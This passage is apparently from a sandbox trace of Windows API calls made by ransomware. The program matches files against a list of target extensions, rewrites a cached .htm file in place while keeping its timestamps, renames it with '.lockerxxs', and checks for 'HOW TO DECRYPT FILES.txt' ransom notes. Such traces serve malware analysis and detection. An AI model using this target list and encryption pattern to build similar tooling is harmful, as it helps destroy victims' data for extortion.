Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm" [0083.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.ems") returned 0 [0083.948] lstrlenA (lpString="*.ems") returned 5 [0083.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.db") returned 0 [0083.948] lstrlenA (lpString="*.db") returned 4 [0083.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.dbf") returned 0 [0083.948] lstrlenA (lpString="*.dbf") returned 5 [0083.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.myox") returned 0 [0083.948] lstrlenA (lpString="*.myox") returned 6 [0083.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.myo") returned 0 [0083.948] lstrlenA (lpString="*.myo") returned 5 [0083.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.qbw") returned 0 [0083.948] lstrlenA (lpString="*.qbw") returned 5 [0083.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.qbb") returned 0 [0083.949] lstrlenA (lpString="*.qbb") returned 5 [0083.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.qbm") returned 0 [0083.949] lstrlenA (lpString="*.qbm") returned 5 [0083.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.qbo") returned 0 [0083.949] lstrlenA (lpString="*.qbo") returned 5 [0083.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.qbx") returned 0 [0083.949] lstrlenA (lpString="*.qbx") returned 5 [0083.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.qba") returned 0 [0083.949] lstrlenA (lpString="*.qba") returned 5 [0083.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.qby") returned 0 [0083.949] lstrlenA (lpString="*.qby") returned 5 [0083.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.qbj") returned 0 [0083.949] lstrlenA (lpString="*.qbj") returned 5 [0083.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.ofx") returned 0 [0083.949] lstrlenA (lpString="*.ofx") returned 5 [0083.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.qif") returned 0 [0083.949] lstrlenA (lpString="*.qif") returned 5 [0083.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.mye") returned 0 [0083.949] lstrlenA (lpString="*.mye") returned 5 [0083.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.mbox") returned 0 [0083.949] lstrlenA (lpString="*.mbox") returned 6 [0083.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.eml") returned 0 [0083.949] lstrlenA (lpString="*.eml") returned 5 [0083.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.pst") returned 0 [0083.949] lstrlenA (lpString="*.pst") returned 5 [0083.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.ost") returned 0 [0083.950] lstrlenA (lpString="*.ost") returned 5 [0083.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.idx") returned 0 [0083.950] lstrlenA (lpString="*.idx") returned 5 [0083.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.dbx") returned 0 [0083.950] lstrlenA (lpString="*.dbx") returned 5 [0083.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.sql") returned 0 [0083.950] lstrlenA (lpString="*.sql") returned 5 [0083.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.mdb") returned 0 [0083.950] lstrlenA (lpString="*.mdb") returned 5 [0083.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.fdb") returned 0 [0083.950] lstrlenA (lpString="*.fdb") returned 5 [0083.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.wab") returned 0 [0083.950] lstrlenA (lpString="*.wab") returned 5 [0083.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.dat") returned 0 [0083.950] lstrlenA (lpString="*.dat") returned 5 [0083.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.txt") returned 0 [0083.950] lstrlenA (lpString="*.txt") returned 5 [0083.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.jpeg") returned 0 [0083.950] lstrlenA (lpString="*.jpeg") returned 6 [0083.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.jpg") returned 0 [0083.950] lstrlenA (lpString="*.jpg") returned 5 [0083.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.png") returned 0 [0083.950] lstrlenA (lpString="*.png") returned 5 [0083.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.php") returned 0 [0083.951] lstrlenA (lpString="*.php") returned 5 [0083.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.cs") returned 0 [0083.951] lstrlenA (lpString="*.cs") returned 4 [0083.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.cpp") returned 0 [0083.951] lstrlenA (lpString="*.cpp") returned 5 [0083.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.rar") returned 0 [0083.951] lstrlenA (lpString="*.rar") returned 5 [0083.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.zip") returned 0 [0083.951] lstrlenA (lpString="*.zip") returned 5 [0083.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.html") returned 0 [0083.951] lstrlenA (lpString="*.html") returned 6 [0083.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", pszSpec="*.htm") returned 1 [0083.951] lstrlenA (lpString="*.htm") returned 5 [0083.951] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm" [0083.951] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm" [0083.951] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm." [0083.951] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm.lockerxxs" [0083.951] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\activityi;src=2542116;cat=chrom00;type=clien612;ord=2366422437621[1].htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.953] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x39f [0083.953] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x64c161a0, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x64c161a0, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x64e9d900, dwHighDateTime=0x1d2dd9e)) returned 1 [0083.953] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.953] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x379, lpOverlapped=0x0) returned 1 [0083.955] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm") returned="activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm" [0083.955] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.955] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x379, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x379, lpOverlapped=0x0) returned 1 [0083.956] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.956] CloseHandle (hObject=0xa4) returned 1 [0083.956] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\activityi;src=2542116;cat=chrom00;type=clien612;ord=2366422437621[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\activityi;src=2542116;cat=chrom00;type=clien612;ord=2366422437621[1].htm.lockerxxs")) returned 1 [0083.957] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf2eca30, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf2eca30, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf312b90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x91dd, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="adex[1].js", cAlternateFileName="ADEX_1~1.JS")) returned 1 [0083.957] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.957] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="adex[1].js") returned 1 [0083.957] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="adex[1].js") returned 1 [0083.957] lstrcmpiA (lpString1="", lpString2="adex[1].js") returned -1 [0083.957] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm") returned="activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm" [0083.957] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0083.957] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0083.957] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0083.958] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0083.958] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="adex[1].js" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js" [0083.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.ems") returned 0 [0083.958] lstrlenA (lpString="*.ems") returned 5 [0083.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.db") returned 0 [0083.958] lstrlenA (lpString="*.db") returned 4 [0083.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.dbf") returned 0 [0083.958] lstrlenA (lpString="*.dbf") returned 5 [0083.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.myox") returned 0 [0083.958] lstrlenA (lpString="*.myox") returned 6 [0083.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.myo") returned 0 [0083.958] lstrlenA (lpString="*.myo") returned 5 [0083.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.qbw") returned 0 [0083.958] lstrlenA (lpString="*.qbw") returned 5 [0083.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.qbb") returned 0 [0083.958] lstrlenA (lpString="*.qbb") returned 5 [0083.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.qbm") returned 0 [0083.958] lstrlenA (lpString="*.qbm") returned 5 [0083.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.qbo") returned 0 [0083.958] lstrlenA (lpString="*.qbo") returned 5 [0083.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.qbx") returned 0 [0083.958] lstrlenA (lpString="*.qbx") returned 5 [0083.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.qba") returned 0 [0083.959] lstrlenA (lpString="*.qba") returned 5 [0083.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.qby") returned 0 [0083.959] lstrlenA (lpString="*.qby") returned 5 [0083.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.qbj") returned 0 [0083.959] lstrlenA (lpString="*.qbj") returned 5 [0083.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 